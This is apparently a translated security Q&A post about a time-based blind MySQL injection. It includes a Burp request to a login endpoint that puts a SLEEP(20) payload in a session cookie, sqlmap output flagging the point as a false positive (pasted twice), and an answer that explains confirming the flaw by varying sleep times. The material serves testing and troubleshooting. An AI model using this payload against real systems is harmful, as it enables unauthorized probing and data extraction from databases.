Mysql 基于时间的盲SQL注入

通过Burp套件中继器中的以下请求，我注意到我能够在目标服务器上执行

SLEEP

查询

POST /login HTTP/1.1
Host: example.com
Origin: https://example.com
Cookie: _sessionToken=filzxrpoiahflw_1618561576'%2b(select*from(select(sleep(20)))a)%2b'
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 39

username=admins0&password=m02pih57d

然而，当我使用SQLmap测试端点时，它说这是一个假阳性

[xx:xx:42] [INFO] Cookie parameter '_sessionToken' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[xx:xx:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[xx:xx:01] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[xx:xx:06] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[xx:xx:09] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[xx:xx:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[xx:xx:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[xx:xx:31] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[xx:xx:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[xx:xx:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:43] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[xx:xx:48] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[xx:xx:52] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[xx:xx:12] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[xx:xx:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[xx:xx:23] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[xx:xx:31] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[xx:xx:35] [INFO] checking if the injection point on Cookie parameter '_sessionToken' is a false positive
[xx:xx:40] [WARNING] false positive or unexploitable injection point detected
[xx:xx:40] [WARNING] Cookie parameter '_sessionToken' does not seem to be injectable

---

我想知道攻击者是否有可能在端点不可注入的情况下执行

SLEEP

查询（扩展为不能转储数据）？如果是，如何（服务器代码是什么样子的）？

如果可以通过中继器执行，那么它不是误报

[xx:xx:42] [INFO] Cookie parameter '_sessionToken' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[xx:xx:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[xx:xx:01] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[xx:xx:06] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[xx:xx:09] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[xx:xx:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[xx:xx:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[xx:xx:31] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[xx:xx:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[xx:xx:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:43] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[xx:xx:48] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[xx:xx:52] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[xx:xx:12] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[xx:xx:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[xx:xx:23] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[xx:xx:31] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[xx:xx:35] [INFO] checking if the injection point on Cookie parameter '_sessionToken' is a false positive
[xx:xx:40] [WARNING] false positive or unexploitable injection point detected
[xx:xx:40] [WARNING] Cookie parameter '_sessionToken' does not seem to be injectable

在增加时间时监控响应时间，如下所示

睡眠（2）

睡眠（20）

---

如果您得到这样的响应，那么攻击者可以以同样的方式执行睡眠查询。

我已经尝试过了，而且效果很好。问题中查询的响应时间确实需要超过20秒，但是sqlmap说这是一个误判。我想知道为什么！我得到了它。SQLmap可能由于防火墙或触发的大量有效负载而错过了它。但是，如果这解决了您的问题，那么不要担心。